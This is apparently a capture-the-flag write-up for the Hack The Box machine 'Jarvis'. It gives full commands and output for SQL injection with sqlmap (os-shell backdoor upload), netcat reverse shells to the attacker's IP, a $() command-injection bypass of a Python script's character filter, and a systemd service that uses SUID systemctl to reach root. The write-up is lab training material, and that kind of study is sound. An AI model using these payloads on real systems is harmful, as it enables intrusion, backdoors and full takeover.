--- search: exclude: true --- # Jarvis Writeup ![](img/43.png) ## Introduction : Jarvis is a Medium linux box released back in June 2019. ## **Part 1 : Initial Enumeration** As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. [ 10.10.14.15/23 ] [ /dev/pts/5 ] [~] → sudo nmap -vvv -sTU -p- 10.10.10.143 --max-retries 0 -Pn --min-rate=500 | grep Discovered [sudo] password for nothing: Discovered open port 22/tcp on 10.10.10.143 Discovered open port 80/tcp on 10.10.10.143 [ 10.10.14.15/23 ] [ /dev/pts/5 ] [~] → nmap -sCV -p22,80 10.10.10.143 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 13:36 BST Nmap scan report for 10.10.10.143 Host is up (0.16s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA) | 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA) |_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Stark Hotel Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.29 seconds ## **Part 2 : Getting User Access** Our nmap scan picked up port 80 so let's investigate it: ![](prg/43_001.png) [ 10.10.14.15/23 ] [ /dev/pts/5 ] [~] → dirsearch -u http://10.10.10.143 -e php,txt,html -t 50 git clone https://github.com/maurosoria/dirsearch.git dirsearch -u -e -t 50 -x 500 _|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| ) Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 6748 Error Log: /home/nothing/Desktop/Tools/dirsearch/logs/errors-20-04-24_13-40-43.log Target: http://10.10.10.143 [13:40:43] Starting: [13:40:46] 403 - 298B - /.ht_wsr.txt [13:40:46] 403 - 300B - /.htaccess-dev [13:40:46] 403 - 291B - /.hta [13:40:46] 403 - 300B - /.htaccess.BAK [13:40:46] 403 - 301B - /.htaccess.bak1 [13:40:46] 403 - 302B - /.htaccess-marco [13:40:46] 403 - 302B - /.htaccess-local [13:40:46] 403 - 300B - /.htaccess.old [13:40:46] 403 - 301B - /.htaccess.orig [13:40:46] 403 - 303B - /.htaccess.sample [13:40:46] 403 - 301B - /.htaccess.save [13:40:46] 403 - 300B - /.htaccess.txt [13:40:46] 403 - 302B - /.htaccess_extra [13:40:46] 403 - 301B - /.htaccess_orig [13:40:46] 403 - 299B - /.htaccessOLD [13:40:46] 403 - 299B - /.htaccessBAK [13:40:46] 403 - 299B - /.htaccess_sc [13:40:46] 403 - 300B - /.htaccessOLD2 [13:40:46] 403 - 297B - /.htaccess~ [13:40:46] 403 - 295B - /.htgroup [13:40:46] 403 - 300B - /.htpasswd-old [13:40:46] 403 - 301B - /.htpasswd_test [13:40:46] 403 - 297B - /.htpasswds [13:40:46] 403 - 295B - /.htusers [13:41:00] 301 - 310B - /css -> http://10.10.10.143/css/ [13:41:02] 301 - 312B - /fonts -> http://10.10.10.143/fonts/ [13:41:04] 301 - 313B - /images -> http://10.10.10.143/images/ [13:41:04] 200 - 23KB - /index.php [13:41:04] 200 - 23KB - /index.php/login/ [13:41:04] 301 - 309B - /js -> http://10.10.10.143/js/ [13:41:08] 301 - 317B - /phpmyadmin -> http://10.10.10.143/phpmyadmin/ [13:41:09] 200 - 14KB - /phpmyadmin/ [13:41:11] 403 - 300B - /server-status [13:41:11] 403 - 301B - /server-status/ Task Completed now the interesting here is to head over to the room.php page where there is a SQL injectable parameter "cod" : ![](prg/43_002.png) So using the sqlmap command focused on the cod parameter, with the --batch parameter to let sqlmap decide instead ![](prg/43_003.png) [ 10.10.14.15/23 ] [ /dev/pts/7 ] [~] → sqlmap -u http://10.10.10.143/room.php\?cod\=2 -p cod --batch ___ __H__ ___ ___[,]_____ ___ ___ {1.4.4#stable} |_ -| . [ ] | .| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 13:47:56 /2020-04-24/ [13:47:56] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ijsh9b7tldb...pd5ok0b5u4'). Do you want to use those [Y/n] Y [...] [13:48:22] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 81 HTTP(s) requests: --- Parameter: cod (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cod=2 AND 9936=9936 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: cod=2 AND (SELECT 8855 FROM (SELECT(SLEEP(5)))rNre) Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: cod=-7095 UNION ALL SELECT NULL,NULL,CONCAT(0x71766a7671,0x526d7a7a434367667152426962716277476468697647506b63536544554f696444474c4242465369,0x7170626a71),NULL,NULL,NULL,NULL-- - --- [13:48:23] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [13:48:23] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/10.10.10.143' [*] ending @ 13:48:23 /2020-04-24/ So our sqlmap scan picked up the **boolean-based blind sql injection _"cod=2 AND 9936=9936"_** and the a **time-based blind sql injection _"cod=2 AND (SELECT 8855 FROM (SELECT(SLEEP(5)))rNre)"_** The last UNION query sql injection seems a bit extreme, so we'll use one the first two to continue by supplying the following --random-agent and --os-pwn flags : [ 10.10.14.15/23 ] [ /dev/pts/5 ] [~] → sudo sqlmap -u http://10.10.10.143/room.php\?cod\=1 -p cod --delay 2 --os-shell --batch ___ __H__ ___ ___[)]_____ ___ ___ {1.4.4#stable} |_ -| . ['] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 14:25:42 /2020-04-24/ [14:25:42] [INFO] resuming back-end DBMS 'mysql' [14:25:42] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('PHPSESSID=sdu9as9sjto...hj8maof8n6'). Do you want to use those [Y/n] Y sqlmap resumed the following injection point(s) from stored session: --- Parameter: cod (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cod=1 AND 1211=1211 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: cod=1 AND (SELECT 7286 FROM (SELECT(SLEEP(5)))vLIW) Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: cod=-6450 UNION ALL SELECT CONCAT(0x7178716a71,0x685a4e4644627879677847584e50544e4f5763536e455059626b5570475768784c51795749596957,0x71626b7871),NULL,NULL,NULL,NULL,NULL,NULL-- - --- [14:25:44] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [14:25:44] [INFO] going to use a web backdoor for command prompt [14:25:44] [INFO] fingerprinting the back-end DBMS operating system [14:25:44] [INFO] the back-end DBMS operating system is Linux which web application language does the web server support? [1] ASP [2] ASPX [3] JSP [4] PHP (default) > 4 [14:25:44] [WARNING] unable to automatically retrieve the web server document root what do you want to use for writable directory? [1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs') (default) [2] custom location(s) [3] custom directory list file [4] brute force search > 1 [14:25:44] [INFO] retrieved web server absolute paths: '/images/' [14:25:44] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method [14:25:53] [WARNING] unable to upload the file stager on '/var/www/' [14:25:53] [INFO] trying to upload the file stager on '/var/www/' via UNION method [14:25:55] [WARNING] expect junk characters inside the file as a leftover from UNION query [14:25:58] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path) [14:26:04] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method [14:26:15] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpuuhgv.php [14:26:19] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpbbmyz.php [14:26:19] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER os-shell> ls do you want to retrieve the command standard output? [Y/n/a] Y command standard output: --- ayax b4nn3d connection.php css dining-bar.php fonts footer.php getfileayax.php images index.php js nav.php phpmyadmin room.php roomobj.php rooms-suites.php sass tmpbbhty.php tmpbbmyz.php tmpbfoqa.php tmpukixw.php tmpuqxde.php tmpuuhgv.php --- os-shell> So here we have a shitty shell, which we need to spawn a proper shell: os-shell> id do you want to retrieve the command standard output? [Y/n/a] Y No output os-shell> which bash do you want to retrieve the command standard output? [Y/n/a] Y command standard output: '/bin/bash' os-shell> bash do you want to retrieve the command standard output? [Y/n/a] Y No output os-shell> which python do you want to retrieve the command standard output? [Y/n/a] Y os-shell> python -c 'import pty;pty.spawn("/bin/bash");' do you want to retrieve the command standard output? [Y/n/a] Y No output It's not as trivial as it sounds like, because we can't seem to escape said shell yet. So the thing here is that we are able to upload a netcat binary in order to spawn a reverse shell for us: _Terminal 1:_ [ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis] → which nc /usr/bin/nc [ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis] → cp /usr/bin/nc . [ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis] → file nc nc: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=22b9d8e181fb120b26a0b11142547e0dfbde8a83, for GNU/Linux 3.2.0, stripped [ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis] → python3 -m http.server 9091 Serving HTTP on 0.0.0.0 port 9091 (http://0.0.0.0:9091/) ... os-shell> which wget do you want to retrieve the command standard output? [Y/n/a] Y command standard output: '/usr/bin/wget' os-shell> wget http://10.10.14.15:9091/nc do you want to retrieve the command standard output? [Y/n/a] Y command standard output: --- --2020-04-24 10:53:19-- http://10.10.14.15:9091/nc Connecting to 10.10.14.15:9091... connected. HTTP request sent, awaiting response... 200 OK Length: 35520 (35K) [application/octet-stream] Saving to: 'nc' 0K .......... .......... .......... .... 100% 307K=0.1s 2020-04-24 10:53:20 (307 KB/s) - 'nc' saved [35520/35520] --- os-shell> nc 10.10.14.15 9001 -e /bin/bash do you want to retrieve the command standard output? [Y/n/a] Y [ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis] → sudo nc -lvnp 9001 [sudo] password for nothing: listening on [any] 9001 ... connect to [10.10.14.15] from (UNKNOWN) [10.10.10.143] 59194 id uid=33(www-data) gid=33(www-data) groups=33(www-data) id uid=33(www-data) gid=33(www-data) groups=33(www-data) which python /usr/bin/python python -c 'import pty;pty.spawn("/bin/bash");' www-data@jarvis:/var/www/html$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@jarvis:/var/www/html$ cd /home cd /home www-data@jarvis:/home$ ls ls pepper www-data@jarvis:/home$ cd pepper cd pepper www-data@jarvis:/home/pepper$ ls ls Web user.txt www-data@jarvis:/home/pepper$ cat user.txt cat user.txt cat: user.txt: Permission denied So we need to privesc to the user pepper, first thing to look into is sudo -l : www-data@jarvis:/home/pepper$ sudo -l sudo -l Matching Defaults entries for www-data on jarvis: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on jarvis: (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py www-data@jarvis:/home/pepper$ cd /var/www/Admin-Utilities cd /var/www/Admin-Utilities www-data@jarvis:/var/www/Admin-Utilities$ ls -lash ls -lash total 16K 4.0K drwxr-xr-x 2 pepper pepper 4.0K Mar 4 2019 . 4.0K drwxr-xr-x 4 root root 4.0K Mar 4 2019 .. 8.0K -rwxr--r-- 1 pepper pepper 4.5K Mar 4 2019 simpler.py www-data@jarvis:/var/www/Admin-Utilities$ python3 simpler.py python3 simpler.py *********************************************** _ _ ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ / __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | | \__ \ | | | | | | |_) | | __/ |_ | |_) | |_| | |___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | |_| |_| |___/ @ironhackers.es *********************************************** ******************************************************** * Simpler - A simple simplifier ;) * * Version 1.0 * ******************************************************** Usage: python3 simpler.py [options] Options: -h/--help : This help -s : Statistics -l : List the attackers IP -p : ping an attacker IP So the trick here is to ping ourselves, and to try to not kill the current shell, because the ping command runs infintiely, to shut it down means to hit Ctrl+C and therefore end the shell. www-data@jarvis:/var/www/Admin-Utilities$ python3 simpler.py -p python3 simpler.py -p *********************************************** _ _ ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ / __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | | \__ \ | | | | | | |_) | | __/ |_ | |_) | |_| | |___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | |_| |_| |___/ @ironhackers.es *********************************************** Enter an IP: 10.10.14.15 & whoami 10.10.14.15 & whoami Got you Looking at the sourcecode of the script we see that it filters out the following characters: www-data@jarvis:/var/www/Admin-Utilities$ cat simpler.py | grep forbidden cat simpler.py | grep forbidden forbidden = ['&', ';', '-', '`', '||', '|'] for i in forbidden: So the idea here is to make a script that will spawn another reverse shell, this time as the user pepper, thanks to the python script itself, since we can inject the characters $(/path/to/script) www-data@jarvis:/var/www/Admin-Utilities$ touch nihilist touch nihilist touch: cannot touch 'nihilist': Permission denied www-data@jarvis:/var/www/Admin-Utilities$ touch /tmp/nihilist touch /tmp/nihilist www-data@jarvis:/var/www/Admin-Utilities$ And said script we have to save it into a directory where we have writing access, /tmp in particular with which the netcat binary will also be: ![](prg/43_004.png) www-data@jarvis:/var/www/Admin-Utilities$ touch /tmp/nihilist www-data@jarvis:/var/www/Admin-Utilities$ chmod +x /tmp/nihilist && chmod +x /tmp/nc www-data@jarvis:/var/www/Admin-Utilities$ echo '#!/bin/sh' > /tmp/nihilist www-data@jarvis:/var/www/Admin-Utilities$ echo 'nc -e /bin/bash 10.10.14.15 9002' >> /tmp/nihilist www-data@jarvis:/var/www/Admin-Utilities$ cat /tmp/nihilist cat /tmp/nihilist #!/bin/sh nc -e /bin/bash 10.10.14.15 9002 ` ![](prg/43_005.png) And that's it ! we have been able to print out the user flag. ## **Part 3 : Getting Root Access** In order to privesc to the root user, we can first off upgrade our current shell by making a ssh connection: ![](prg/43_006.png) [ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/.ssh] → cp id_rsa ~/_HTB/Jarvis [ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/.ssh] → cd ~/_HTB [ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/_HTB] → ls Arkham dupent Jarvis Luke Querier Unattended [ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/_HTB] → cd Jarvis [ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/_HTB/Jarvis] → ls id_rsa id_rsa.pub nc [ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/_HTB/Jarvis] → ssh pepper@10.10.10.143 -i id_rsa Linux jarvis 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Apr 24 11:36:53 2020 from 10.10.14.15 pepper@jarvis:~$ So now that we can easily ssh into the box we can run LinEnum.sh like so : ![](prg/43_007.png) Running it we see that there is an interesting SUID file which is systemctl, it has permissions to edit sqli-defender.service in particular: ![](prg/43_008.png) We could have also found it this way by finding the files with the 4000 permissions: pepper@jarvis:/etc/systemd/system$ find / -perm /4000 2>/dev/null /bin/fusermount /bin/mount /bin/ping /bin/systemctl /bin/umount /bin/su /usr/bin/newgrp /usr/bin/passwd /usr/bin/gpasswd /usr/bin/chsh /usr/bin/sudo /usr/bin/chfn /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper To which systemctl obviously stands out, So now we know that we can run systemctl as root, so we can register new services that will spawn a reverse shell for us: pepper@jarvis:/etc/systemd/system$ nano /tmp/nihilist.service pepper@jarvis:/etc/systemd/system$ cat /tmp/nihilist.service [Unit] Description=nihilist [Service] ExecStart=/bin/nc -e /bin/bash 10.10.14.15 9004 [Install] WantedBy=multi-user.target Register the new service and then we can start it: ![](prg/43_009.png) And that's it ! we have been able to print out the root flag. ## **Conclusion** Here we can see the progress graph : ![](img/43_graph.png)